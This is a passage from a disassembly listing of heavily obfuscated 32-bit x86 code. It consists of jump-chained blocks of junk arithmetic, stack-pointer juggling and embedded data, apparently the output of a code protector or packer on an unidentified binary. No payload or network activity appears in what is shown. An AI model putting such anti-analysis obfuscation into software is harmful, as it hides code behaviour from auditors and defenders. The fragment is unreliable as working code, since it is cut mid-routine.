		xchg	cx, word ptr [esp-6E9Eh+arg_6E96]
		jmp	loc_5933F7
; ---------------------------------------------------------------------------


loc_5A3E66:				; CODE XREF: sub_581EE9+1A0CFj
		push	ecx
		jmp	loc_598ADE
; ---------------------------------------------------------------------------


loc_5A3E6C:				; CODE XREF: sub_581EE9+1324Cj
		push	ecx
		mov	ecx, 0E032C24h
		mov	edi, ecx
		pop	ecx
		jmp	loc_5A1CFB
; ---------------------------------------------------------------------------


loc_5A3E7A:				; CODE XREF: sub_581EE9+234ADj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6E5Ah+arg_6E50+2]
		pop	esp
		jmp	loc_5A5679
; ---------------------------------------------------------------------------


loc_5A3E8C:				; CODE XREF: sub_581EE9+1A386j
		sub	ax, dx
		jmp	loc_59AEFF
; ---------------------------------------------------------------------------


loc_5A3E94:				; CODE XREF: sub_581EE9+1082Cj
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A3E9B:				; CODE XREF: sub_581EE9+10C02j
		xor	esi, [esp-6EA2h+arg_6E9A]
		pop	esp
		mov	[esp-6EA6h+arg_6E9E], ebp
		mov	ebp, 5DF76FBEh
		sub	eax, 63785507h
		sub	eax, 7CB75111h
		add	eax, ebp
		push	esi
		mov	esi, 309926F7h
		jmp	loc_5A715A
; ---------------------------------------------------------------------------


loc_5A3EBE:				; CODE XREF: sub_581EE9+21399j
		sub	word ptr [esp-6E62h+arg_6E58+2], di
		jmp	loc_5A6AF8
; ---------------------------------------------------------------------------


loc_5A3EC7:				; CODE XREF: sub_581EE9+1016Fj
		mov	esp, [esp-6EA2h+arg_6E9A]
		btc	word ptr [esp-6EA2h+arg_6E9A], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A3ED5:				; CODE XREF: sub_581EE9+2256Bj
		push	0BBh
		mov	[esp-6E9Ah+arg_6E92], edi
		push	59755DACh
		jmp	loc_59DD20
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E96h+arg_6E8E]
		push	2BDh
		mov	[esp-6E92h+arg_6E8A], eax
		jmp	loc_59A945
; ---------------------------------------------------------------------------
		dd 4EC81ACh, 89000000h,	9FB22414h, 4EC81h, 1C890000h, 805CB324h
		dd 7AE917C3h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3F17:				; CODE XREF: sub_581EE9+18CC4j
		not	esi
		inc	esi
		add	esi, 20B455D5h
		sub	eax, 23D5524Ah
		jmp	loc_594844
; ---------------------------------------------------------------------------


loc_5A3F2A:				; CODE XREF: sub_581EE9+1AF57j
		push	5747h
		mov	[esp+0], edi
		jmp	loc_59980A
; ---------------------------------------------------------------------------


loc_5A3F37:				; CODE XREF: sub_581EE9+1FFDEj
		pop	ebx
		sub	edi, 28B1E055h
		xor	ecx, edi
		pop	edi
		and	ecx, 1A087B1Bh
		xor	ecx, esi
		xor	esi, ecx
		jmp	loc_5A2863
; ---------------------------------------------------------------------------


loc_5A3F50:				; CODE XREF: sub_581EE9+1A9FFj
		pop	esp
		push	1
		push	[esp-6EB2h+arg_6EA8+2]
		mov	eax, [esp-6EAEh+arg_6EA4+2]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_59613B
; ---------------------------------------------------------------------------


loc_5A3F6A:				; CODE XREF: sub_581EE9+2255Ej
		pop	edx
		and	ecx, 47630CE0h
		inc	ecx
		xor	ecx, 42000E5h
		sub	ebx, 2F636C9Ah
		jmp	loc_5979F0
; ---------------------------------------------------------------------------


loc_5A3F83:				; CODE XREF: sub_581EE9+23F99j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp-6EB2h+arg_6EA8+2]
		pop	esp
		mov	ecx, edx
		pop	edx
		and	ecx, 396F0D1Fh
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	ecx, esi
		pop	esi
		jmp	loc_599FE6
; ---------------------------------------------------------------------------


loc_5A3FA6:				; CODE XREF: sub_581EE9+11E15j
		sub	esp, 4
		mov	dword ptr [esp-6EAAh+arg_6EA2],	edx
		push	3535h
		jmp	loc_5A4E5B
; ---------------------------------------------------------------------------


loc_5A3FB9:				; CODE XREF: sub_581EE9+13B15j
		pop	esp
		and	ecx, edi
		mov	edi, [esp-6EA8h+arg_6E9E+2]
		push	1BAAh
		mov	[esp-6EA4h+arg_6E9A+2],	edi
		jmp	loc_597A82
; ---------------------------------------------------------------------------


loc_5A3FCC:				; CODE XREF: sub_581EE9+22AB7j
		mov	[esp-6EA4h+arg_6E9A+2],	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 0EA105BFh
		dec	edx
		xor	edx, 16C1093Eh
		add	edx, 0E79FF384h
		add	ebx, edx
		jmp	loc_5944D0
; ---------------------------------------------------------------------------


loc_5A3FF1:				; CODE XREF: sub_581EE9+12E10j
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_5A5BE5
; ---------------------------------------------------------------------------


loc_5A4006:				; CODE XREF: sub_581EE9+1C77Fj
		push	ebx
		push	[esp-6E82h+arg_6E7C+2]
		mov	ebx, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		pop	dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_59A3F6
; ---------------------------------------------------------------------------


loc_5A4019:				; CODE XREF: sub_581EE9+10A59j
		add	edi, edx
		pop	edx
		sub	edi, ebp
		jmp	loc_59FE02
; ---------------------------------------------------------------------------


loc_5A4023:				; CODE XREF: sub_581EE9+17FE3j
		push	eax
		mov	eax, 4
		add	[esp-6EB8h+arg_6EB2+2],	eax
		pop	eax
		push	[esp-6EBCh+arg_6EB2+2]
		pop	ebx
		jmp	loc_5A344B
; ---------------------------------------------------------------------------


loc_5A4037:				; CODE XREF: sub_581EE9+19669j
		shr	bl, 6
		shr	bl, 8
		neg	bl
		jmp	loc_5A06AD
; ---------------------------------------------------------------------------


loc_5A4044:				; CODE XREF: sub_581EE9+1B165j
		pop	edx
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], ecx
		mov	ch, 46h
		push	6B94h
		mov	[esp-6EACh+arg_6EA4], ebx
		push	7827h
		jmp	loc_596584
; ---------------------------------------------------------------------------


loc_5A4062:				; CODE XREF: sub_581EE9+1369Dj
		pop	ebx
		shl	edi, 5
		sub	edi, 27E6DB5Ch
		add	ecx, 28D4A39h
		add	ecx, 468D4537h
		add	ecx, edi
		push	edi
		mov	edi, 3D6E4EA8h
		sub	edi, 34766C4h
		shr	edi, 6
		jmp	loc_5A03BB
; ---------------------------------------------------------------------------


loc_5A408E:				; CODE XREF: sub_581EE9+13D3Dj
		push	esi
		mov	esi, esp
		jmp	loc_598CA7
; ---------------------------------------------------------------------------


loc_5A4096:				; CODE XREF: sub_581EE9+1E4CDj
		mov	[esp-6E9Ch+arg_6E92+2],	ecx
		mov	ecx, 4
		sub	ebp, 62F52EF6h
		add	ebp, ecx
		add	ebp, 62F52EF6h
		push	[esp-6E9Ch+arg_6E92+2]
		mov	ecx, [esp-6E98h+arg_6E8E+2]
		add	esp, 4
		push	ebx
		jmp	loc_5A39F0
; ---------------------------------------------------------------------------


loc_5A40BE:				; CODE XREF: sub_581EE9+1DA05j
		add	esp, 4
		pop	[esp-6EA2h+arg_6E9A]
		mov	esp, [esp-6EA6h+arg_6E9E]
		mov	word ptr [esp-6EA6h+arg_6E9E], dx
		jmp	loc_59DCFF
; ---------------------------------------------------------------------------


loc_5A40D3:				; CODE XREF: sub_581EE9+20DC0j
		shr	ebp, 1
		jmp	loc_593CF2
; ---------------------------------------------------------------------------


loc_5A40DA:				; CODE XREF: sub_581EE9+1A05Cj
		add	ebp, 2BF9622Ch
		add	ebp, ecx
		sub	esp, 4
		mov	[esp-6E4Eh+arg_6E44+2],	ecx
		sub	esp, 4
		jmp	loc_596D27
; ---------------------------------------------------------------------------


loc_5A40F6:				; CODE XREF: sub_581EE9+1E565j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 3D83B00h
		sub	esp, 4
		mov	[esp-6E6Eh+arg_6E64+2],	edi
		mov	edi, 324F278Bh
		add	edi, 1E8F0FCEh
		add	ecx, edi
		pop	edi
		shl	ecx, 4
		sub	ecx, 2512072h
		push	ebx
		mov	ebx, 0B6E9FAE6h
		add	ecx, ebx
		pop	ebx
		sub	esi, 45C8060Dh
		add	esi, ecx
		jmp	loc_59D09B
; ---------------------------------------------------------------------------


loc_5A413B:				; CODE XREF: sub_581EE9+21517j
		pop	esi
		jmp	loc_599356
; ---------------------------------------------------------------------------


loc_5A4141:				; CODE XREF: sub_581EE9+169A1j
		add	edi, ecx
		mov	ecx, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		add	eax, edi
		pop	edi
		push	edi
		mov	edi, 6C10232Fh
		push	ebx
		mov	ebx, 620B60C8h
		xor	ebx, 42455560h
		not	ebx
		dec	ebx
		inc	ebx
		add	ebx, 0F7E3F2Ch
		add	edi, ebx
		pop	ebx
		add	ecx, edi
		pop	edi
		push	eax
		jmp	loc_5A54FE
; ---------------------------------------------------------------------------


loc_5A4174:				; CODE XREF: sub_581EE9+20857j
		mov	ebx, [esp-6E78h+arg_6E6E+2]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_59A02E
; ---------------------------------------------------------------------------


loc_5A4183:				; CODE XREF: sub_581EE9+2040Fj
		push	ebx
		mov	ebx, 4
		sub	ebp, 36D001ADh
		add	ebp, 27C240C2h
		jmp	loc_593DD0
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		push	edx
		mov	dl, 0B4h
		add	dl, 0D2h
		mov	bh, dl
		pop	edx
		shl	bh, 8
		shr	bh, 8
		and	bh, 21h
		and	bh, 22h
		push	eax
		mov	al, 0D9h
		xor	al, 5Dh
		add	al, 78h
		jmp	loc_5961D0
; ---------------------------------------------------------------------------


loc_5A41BD:				; CODE XREF: sub_581EE9+18563j
		xor	esi, 42ED0FD2h
		shr	esi, 7
		sub	esi, 9AFCDFh
		add	ebp, esi
		jmp	loc_593A66
; ---------------------------------------------------------------------------


loc_5A41D3:				; CODE XREF: sub_581EE9+1CC11j
		mov	edx, [esp-6E9Ch+arg_6E92+2]
		add	esp, 4
		jmp	loc_5A0928
; ---------------------------------------------------------------------------


loc_5A41E1:				; CODE XREF: sub_581EE9+1FACFj
		mov	eax, 7A3E2694h
		push	edx
		mov	edx, 7CCE5769h
		and	eax, edx
		mov	edx, [esp-6EA0h+arg_6E96+2]
		jmp	loc_59875C
; ---------------------------------------------------------------------------


loc_5A41F6:				; CODE XREF: sub_581EE9+18A66j
		mov	edx, 4
		jmp	loc_5A19BD
; ---------------------------------------------------------------------------


loc_5A4200:				; CODE XREF: sub_581EE9+18D3Cj
		mov	ebp, 7E555002h
		mov	esi, ebp
		pop	ebp
		neg	esi
		jmp	loc_5A08A6
; ---------------------------------------------------------------------------


loc_5A420F:				; CODE XREF: sub_581EE9+11479j
		add	eax, 3F942C26h
		add	eax, 39ED657Fh
		push	esi
		mov	esi, 2E8B42D0h
		add	eax, esi
		pop	esi
		jmp	loc_59C1E0
; ---------------------------------------------------------------------------


loc_5A4227:				; CODE XREF: sub_581EE9+20CE7j
		pop	esp
		mov	[esp-6EA8h+arg_6E9E+2],	esi
		push	671Bh
		mov	[esp-6EA4h+arg_6E9A+2],	esp
		add	[esp-6EA4h+arg_6E9A+2],	4
		mov	esi, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		jmp	loc_593E3D
; ---------------------------------------------------------------------------


loc_5A4248:				; CODE XREF: sub_581EE9+18408j
		dec	dl
		sub	dl, 0BCh
		mov	al, dl
		pop	edx
		add	al, bl
		jmp	loc_59844E
; ---------------------------------------------------------------------------


loc_5A4257:				; CODE XREF: sub_581EE9+1D447j
		not	ecx
		push	edi
		mov	edi, 0E333071Eh
		xor	ecx, edi
		pop	edi
		push	ecx
		push	edx
		jmp	loc_59FCE7
; ---------------------------------------------------------------------------


loc_5A4269:				; CODE XREF: sub_581EE9+1426Cj
		push	ebx
		mov	ebx, 7925285Bh
		jmp	loc_59BFE7
; ---------------------------------------------------------------------------


loc_5A4274:				; CODE XREF: sub_581EE9+1BE71j
		not	esi
		dec	esi
		add	esi, 0E3A3EAF9h
		jmp	loc_5A631B
; ---------------------------------------------------------------------------
		push	[esp-6E66h+arg_6E5C+2]
		jmp	loc_5923BB
; ---------------------------------------------------------------------------


loc_5A428A:				; CODE XREF: sub_581EE9+16259j
		xor	si, 0E140h
		jmp	loc_5A1969
; ---------------------------------------------------------------------------


loc_5A4294:				; CODE XREF: sub_581EE9+1615Dj
		sub	edi, 7E50B90Dh
		add	esi, edi
		pop	edi
		add	esi, 780372E8h
		add	esi, 68A05DA3h
		add	esi, eax
		jmp	loc_5A503E
; ---------------------------------------------------------------------------


loc_5A42B0:				; CODE XREF: sub_581EE9+1BA7Fj
		pop	esi
		add	edi, eax
		jmp	loc_59B69B
; ---------------------------------------------------------------------------


loc_5A42B8:				; CODE XREF: sub_581EE9+11D2Fj
		neg	ecx
		add	ecx, 93CE095Bh
		mov	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 48601FB1h
		jmp	loc_599C64
; ---------------------------------------------------------------------------


loc_5A42CE:				; CODE XREF: sub_581EE9+23B3Aj
		mov	[esp-6E76h+arg_6E6E], esp
		push	68FFh
		mov	[esp-6E72h+arg_6E68+2],	edx
		jmp	loc_597794
; ---------------------------------------------------------------------------


loc_5A42DE:				; CODE XREF: sub_581EE9+174C4j
		push	edx
		mov	edx, 46EB5797h
		not	edx
		jmp	loc_59BF79
; ---------------------------------------------------------------------------


loc_5A42EB:				; CODE XREF: sub_581EE9+1FEA6j
		add	cl, 62h
		or	dl, cl
		mov	ecx, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		jmp	loc_5975AE
; ---------------------------------------------------------------------------


loc_5A42FE:				; CODE XREF: sub_581EE9+10D11j
		and	edx, 2ED85DFCh
		push	edx
		not	[esp-6E7Eh+arg_6E76]
		pop	edx
		jmp	loc_5A5E76
; ---------------------------------------------------------------------------


loc_5A430E:				; CODE XREF: sub_581EE9+1898Ej
		mov	ebx, 695F4974h
		shr	ebx, 7
		inc	ebx
		jmp	loc_599741
; ---------------------------------------------------------------------------


loc_5A431C:				; CODE XREF: sub_581EE9+1D819j
		push	69A8h
		jmp	loc_59C943
; ---------------------------------------------------------------------------


loc_5A4326:				; CODE XREF: sub_581EE9+1ED7Bj
		add	cl, 1
		push	ax
		mov	ah, 0E8h
		xor	cl, ah
		pop	ax
		xor	cl, 0C8h
		add	dh, cl
		mov	ecx, [esp-6E56h+arg_6E4C+2]
		add	esp, 4
		sub	dh, 41h
		jmp	loc_5A084D
; ---------------------------------------------------------------------------


loc_5A4344:				; CODE XREF: sub_581EE9+1C6DEj
		push	edi
		jmp	loc_592503
; ---------------------------------------------------------------------------


loc_5A434A:				; CODE XREF: sub_581EE9+1D254j
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp-6E72h+arg_6E6E]
		pop	eax
		pop	[esp-6E72h+arg_6E68+2]
		pop	esp
		pop	[esp-6E7Ah+arg_6E72]
		mov	esp, [esp-6E7Eh+arg_6E76]
		jmp	loc_593AF0
; ---------------------------------------------------------------------------


loc_5A4369:				; CODE XREF: sub_581EE9+1E94Dj
		pop	ebx
		jmp	loc_5931D1
; ---------------------------------------------------------------------------


loc_5A436F:				; CODE XREF: sub_581EE9+23E9Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		xor	ecx, [esp-6E76h+arg_6E6E]
		xor	[esp-6E76h+arg_6E6E], ecx
		jmp	loc_5A56FB
; ---------------------------------------------------------------------------


loc_5A4389:				; CODE XREF: sub_581EE9+1E2FEj
		add	ebx, 4
		push	edi
		mov	edi, 5FB47E6Eh
		jmp	loc_59B864
; ---------------------------------------------------------------------------


loc_5A439A:				; CODE XREF: sub_581EE9+21D8Cj
		push	edi
		mov	edi, esp
		push	eax
		push	esi
		push	eax
		jmp	loc_5A23D7
; ---------------------------------------------------------------------------


loc_5A43A5:				; CODE XREF: sub_581EE9+19028j
		pop	ebx
		jmp	loc_59FCA8
; ---------------------------------------------------------------------------


loc_5A43AB:				; CODE XREF: sub_581EE9+158D7j
		sub	esi, 74213FDFh
		add	esi, 38E00B3h
		add	esi, edx
		jmp	loc_597584
; ---------------------------------------------------------------------------


loc_5A43BE:				; CODE XREF: sub_581EE9+10D06j
		mov	dword ptr [esp-6E82h+arg_6E7A],	eax
		jmp	loc_59D271
; ---------------------------------------------------------------------------


loc_5A43C6:				; CODE XREF: sub_581EE9+21C5Dj
		pop	ebp
		xor	eax, esi
		jmp	loc_5A55DB
; ---------------------------------------------------------------------------


loc_5A43CE:				; CODE XREF: sub_581EE9+152A3j
		add	ebp, 2F181DB7h
		add	edi, 683962F5h
		sub	edi, 46EF38C9h
		add	edi, ebp
		add	edi, 46EF38C9h
		jmp	loc_5A6CAC
; ---------------------------------------------------------------------------


loc_5A43ED:				; CODE XREF: sub_581EE9+1E688j
		mov	esi, 20CD1854h
		dec	esi
		or	esi, 339A6CB4h
		push	ecx
		jmp	loc_59B1A4
; ---------------------------------------------------------------------------


loc_5A43FF:				; CODE XREF: sub_581EE9+23ACFj
		or	edx, 51D17D56h
		neg	edx
		add	edx, 3596B6Ah
		xor	ebx, edx
		jmp	loc_5923D4
; ---------------------------------------------------------------------------


loc_5A4414:				; CODE XREF: sub_581EE9+1D886j
		push	edx
		jmp	loc_5A1FC3
; ---------------------------------------------------------------------------


loc_5A441A:				; CODE XREF: sub_581EE9+1D5F0j
		xor	dx, 449Ah
		xor	bp, dx
		pop	edx
		jmp	loc_5A331C
; ---------------------------------------------------------------------------


loc_5A4428:				; CODE XREF: sub_581EE9+186C0j
		xor	ecx, 5BB78587h
		xor	ecx, ebp
		pop	ebp
		shl	ecx, 4
		not	ecx
		push	edx
		mov	edx, 14A748BCh
		not	edx
		inc	edx
		sub	edx, 884D9405h
		sub	ecx, edx
		jmp	loc_5A3F6A
; ---------------------------------------------------------------------------


loc_5A444C:				; CODE XREF: sub_581EE9+1FF7Dj
		push	4935h
		mov	[esp-6E7Ah+arg_6E72], ecx
		jmp	loc_5A3ED5
; ---------------------------------------------------------------------------


loc_5A4459:				; CODE XREF: sub_581EE9+14B38j
		mov	edx, 66265C9Fh
		xor	edx, 255B6EC1h
		sub	edx, 0D284F39Ah
		jmp	loc_5980DA
; ---------------------------------------------------------------------------


loc_5A446F:				; CODE XREF: sub_581EE9+1CF89j
		mov	ebp, edx
		pop	edx
		jmp	loc_5A5E33
; ---------------------------------------------------------------------------


loc_5A4477:				; CODE XREF: sub_581EE9+22E0Fj
		xchg	esi, [esp+0]
		pop	esp
		add	esp, 4
		pop	esi


loc_5A4482:				; CODE XREF: sub_581EE9+150C9j
		push	ebx
		jmp	loc_595469
; ---------------------------------------------------------------------------


loc_5A4488:				; CODE XREF: sub_581EE9+1483Dj
		mov	eax, edx
		pop	edx
		shl	eax, 4
		not	eax
		add	eax, 3099CE0Ch
		sub	ebp, 59DC63C4h
		add	ebp, eax
		jmp	loc_5A0FF3
; ---------------------------------------------------------------------------


loc_5A44A2:				; CODE XREF: sub_581EE9+18606j
		pop	esp
		jmp	loc_59303F
; ---------------------------------------------------------------------------


loc_5A44A8:				; CODE XREF: sub_581EE9+10837j
		sub	edi, ebp
		pop	ebp
		pop	esi
		add	ebx, 4F9A345Eh
		add	ebx, edi
		push	esi
		jmp	loc_593A74
; ---------------------------------------------------------------------------


loc_5A44BA:				; CODE XREF: sub_581EE9+227D4j
		xor	[esp-6EC8h+arg_6EBE+2],	edi
		xor	edi, [esp-6EC8h+arg_6EBE+2]
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		mov	ax, word ptr [esp-6EC8h+arg_6EBE+2]
		push	567Fh
		mov	[esp-6EC4h+arg_6EBA+2],	ecx
		push	2D8Ch
		jmp	loc_5985DC
; ---------------------------------------------------------------------------


loc_5A44D9:				; CODE XREF: sub_581EE9+23E6Dj
		or	edx, edi
		pop	edi
		sub	edx, 0E71F4964h
		push	edi
		mov	edi, edx
		mov	ebx, edi
		jmp	loc_59AA6C
; ---------------------------------------------------------------------------


loc_5A44EC:				; CODE XREF: sub_581EE9+168D3j
		mov	dh, 0EBh
		push	ebx
		mov	bh, 78h
		jmp	loc_59449D
; ---------------------------------------------------------------------------


loc_5A44F6:				; CODE XREF: sub_581EE9+174CFj
		add	esp, 4
		push	ecx
		mov	ebx, [esp-6E5Ah+arg_6E50+2]
		jmp	loc_59E68B
; ---------------------------------------------------------------------------


loc_5A4502:				; CODE XREF: sub_581EE9+22BCAj
		sub	esp, 4
		mov	[esp-6E56h+arg_6E4C+2],	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6E56h+arg_6E4C+2]
		pop	esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6E5Ah+arg_6E50+2]
		jmp	loc_5986CD
; ---------------------------------------------------------------------------


loc_5A452C:				; CODE XREF: sub_581EE9+12104j
		xchg	edx, [esp-6EB0h+arg_6EA8]
		pop	esp
		add	esp, 4
		movzx	ecx, ax
		jmp	loc_59540E
; ---------------------------------------------------------------------------


loc_5A453B:				; CODE XREF: sub_581EE9+206B7j
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A4541:				; CODE XREF: sub_581EE9+15643j
		pop	edx
		push	64CEh
		mov	[esp-6E94h+arg_6E8A+2],	ecx
		mov	ecx, 357431E8h
		push	4412h
		mov	[esp+0], edi
		mov	edi, 345044E6h
		inc	edi
		jmp	loc_5A5969
; ---------------------------------------------------------------------------


loc_5A4562:				; CODE XREF: sub_581EE9+14F70j
		dec	ecx
		add	ecx, 50CBDD3Ch
		mov	edi, ecx
		pop	ecx
		jmp	loc_594F62
; ---------------------------------------------------------------------------


loc_5A4571:				; CODE XREF: sub_581EE9+110A1j
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E5Eh+arg_6E54+2],	eax
		jmp	loc_5A65C2
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp-6E5Ah+arg_6E50+2],	esi
		mov	esi, esp
		push	edi
		push	ecx
		mov	ecx, 536346F8h
		push	eax
		mov	eax, ecx
		mov	edi, eax
		jmp	loc_594882
; ---------------------------------------------------------------------------


loc_5A459F:				; CODE XREF: sub_581EE9+1CF31j
		pop	edi
		pop	[esp-6EAEh+arg_6EA4+2]
		pop	esp
		jmp	loc_598F15
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6EB6h+arg_6EAC+2]
		push	ebx
		push	esp
		mov	ebx, [esp-6EAEh+arg_6EA4+2]
		jmp	loc_59A5D2
; ---------------------------------------------------------------------------


loc_5A45B7:				; CODE XREF: sub_581EE9+13D16j
		pop	esi
		push	[esp-6E6Eh+arg_6E64+2]
		pop	ebp
		add	esp, 4
		jmp	loc_59FB18
; ---------------------------------------------------------------------------


loc_5A45C4:				; CODE XREF: sub_581EE9+12B4Bj
		xor	ebp, 6AD650A3h
		mov	ebx, ebp
		push	[esp-6E64h+arg_6E5C]
		pop	ebp
		add	esp, 4
		add	[esp-6E68h+arg_6E64], ebx
		push	[esp-6E68h+arg_6E60]
		jmp	loc_5A17FE
; ---------------------------------------------------------------------------


loc_5A45DF:				; CODE XREF: sub_581EE9+13004j
		sub	edx, edi
		mov	edi, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		xor	eax, edx
		jmp	loc_5966F5
; ---------------------------------------------------------------------------


loc_5A45F1:				; CODE XREF: sub_581EE9+17390j
		pop	ebp
		add	ebp, 2F3315Bh
		jmp	loc_59DEA4
; ---------------------------------------------------------------------------


loc_5A45FD:				; CODE XREF: sub_581EE9+218D1j
		xor	ecx, 7361C8F7h
		mov	ebx, ecx
		push	[esp-6E72h+arg_6E68+2]
		pop	ecx
		push	edx
		push	esp
		mov	edx, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		jmp	loc_59890B
; ---------------------------------------------------------------------------


loc_5A4619:				; CODE XREF: sub_581EE9+20297j
		mov	edi, esp
		push	edx
		jmp	loc_5A6023
; ---------------------------------------------------------------------------


loc_5A4621:				; CODE XREF: sub_581EE9+230A7j
		mov	[esp-6E96h+arg_6E8E], esi
		sub	esp, 4
		push	esp
		pop	[esp-6E8Eh+arg_6E84+2]
		add	[esp-6E92h+arg_6E8A], 4
		pop	esi
		push	1620h
		mov	[esp-6E92h+arg_6E8A], ebp
		mov	ebp, 1B0B4157h
		sub	esp, 4
		jmp	loc_59B9E7
; ---------------------------------------------------------------------------


loc_5A4648:				; CODE XREF: sub_581EE9+13B0Aj
		mov	[esp-6EA4h+arg_6E9A+2],	ebp
		mov	ebp, 4
		add	esi, 538D148Eh
		add	esi, 5DF3309Ah
		add	esi, ebp
		sub	esi, 5DF3309Ah
		sub	esi, 538D148Eh
		jmp	loc_59F10C
; ---------------------------------------------------------------------------


loc_5A466F:				; CODE XREF: sub_581EE9+176A1j
		push	5B86h
		jmp	loc_59A1D3
; ---------------------------------------------------------------------------


loc_5A4679:				; CODE XREF: sub_581EE9+1A8E8j
		shr	esi, 7
		xor	esi, 40A67D89h
		sub	esi, 3CA80CECh
		add	ebx, 7B822A36h
		push	54CAh
		jmp	loc_5970DF
; ---------------------------------------------------------------------------


loc_5A4698:				; CODE XREF: sub_581EE9+1DBCBj
		push	edx
		mov	dh, 3Fh
		jmp	loc_5972E6
; ---------------------------------------------------------------------------


loc_5A46A0:				; CODE XREF: sub_581EE9+115EAj
		mov	[esp-6E6Ah+arg_6E60+2],	ecx
		push	bx
		sub	esp, 4
		jmp	loc_599F43
; ---------------------------------------------------------------------------


loc_5A46B0:				; CODE XREF: sub_581EE9+160C8j
		mov	eax, 600A7E07h
		jmp	loc_59B4F9
; ---------------------------------------------------------------------------


loc_5A46BA:				; CODE XREF: sub_581EE9+1D8D5j
		xor	edi, [esp-6E94h+arg_6E8A+2]
		jmp	loc_5A44BA
; ---------------------------------------------------------------------------


loc_5A46C2:				; CODE XREF: sub_581EE9+19620j
		pop	ebp
		inc	eax
		push	edx
		jmp	loc_5A24E8
; ---------------------------------------------------------------------------


loc_5A46CA:				; CODE XREF: sub_581EE9+1D0A5j
		mov	edi, 4
		jmp	loc_5A3D27
; ---------------------------------------------------------------------------


loc_5A46D4:				; CODE XREF: sub_581EE9+1C7A3j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6E9Ah+arg_6E92]
		pop	esp
		pop	ecx
		add	ebx, 8495744h
		push	eax
		jmp	loc_5A57F8
; ---------------------------------------------------------------------------


loc_5A46F3:				; CODE XREF: sub_581EE9+1EC24j
		push	30D4h
		mov	[esp-6E5Ah+arg_6E50+2],	ebp
		jmp	loc_5A3085
; ---------------------------------------------------------------------------


loc_5A4700:				; CODE XREF: sub_581EE9+1439Fj
		mov	[esp-6EA8h+arg_6E9E+2],	ebx
		push	2402h
		mov	[esp-6EA4h+arg_6E9A+2],	esp
		add	[esp-6EA4h+arg_6E9A+2],	4
		push	[esp-6EA4h+arg_6E9A+2]
		pop	ebx
		add	esp, 4
		jmp	loc_5A14E7
; ---------------------------------------------------------------------------


loc_5A471E:				; CODE XREF: sub_581EE9+13F18j
		mov	eax, [esp-6E8Ah+arg_6E80+2]
		push	eax
		mov	eax, esp
		jmp	loc_5A2230
; ---------------------------------------------------------------------------


loc_5A4729:				; CODE XREF: sub_581EE9+1C1B2j
		sub	edi, 8043Dh
		add	ecx, edi
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_5A3CEF
; ---------------------------------------------------------------------------


loc_5A4746:				; CODE XREF: sub_581EE9+24248j
		push	41C8h
		mov	[esp+0], ebx
		push	[esp-6E90h+arg_6E8A+2]
		mov	ebx, [esp-6E8Ch+arg_6E84]
		add	esp, 4
		jmp	loc_5922A1
; ---------------------------------------------------------------------------


loc_5A475D:				; CODE XREF: sub_581EE9+20342j
		mov	ecx, [esp-6E42h+arg_6E3A]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6E3Eh+arg_6E36]
		jmp	loc_5A17CA
; ---------------------------------------------------------------------------


loc_5A4773:				; CODE XREF: sub_581EE9+19EE6j
		mov	[esp-6E72h+arg_6E68+2],	ebx
		mov	ebx, 6E703B0h
		push	edx
		push	ebx
		push	4AA6484Bh
		pop	ebx
		shl	ebx, 6
		add	ebx, 0B42A2480h
		mov	edx, ebx
		mov	ebx, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		jmp	loc_5934D8
; ---------------------------------------------------------------------------


loc_5A4799:				; CODE XREF: sub_581EE9+1C0ACj
		mov	bh, 90h
		xor	bh, 7Dh
		dec	bh
		sub	bh, 0D3h
		jmp	loc_592764
; ---------------------------------------------------------------------------


loc_5A47A8:				; CODE XREF: sub_581EE9+1E8BBj
		mov	ebx, 0B5A00B6h
		mov	esi, 188431CEh
		add	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 743C3B2Fh
		xor	esi, ebx
		mov	ebx, [esp-6E9Eh+arg_6E96]
		jmp	loc_59A7BC
; ---------------------------------------------------------------------------


loc_5A47C5:				; CODE XREF: sub_581EE9+186D9j
		push	ebp
		mov	ebp, esp
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		jmp	loc_593157
; ---------------------------------------------------------------------------


loc_5A47D7:				; CODE XREF: sub_581EE9+238ECj
		mov	[esp-6E72h+arg_6E68+2],	esi
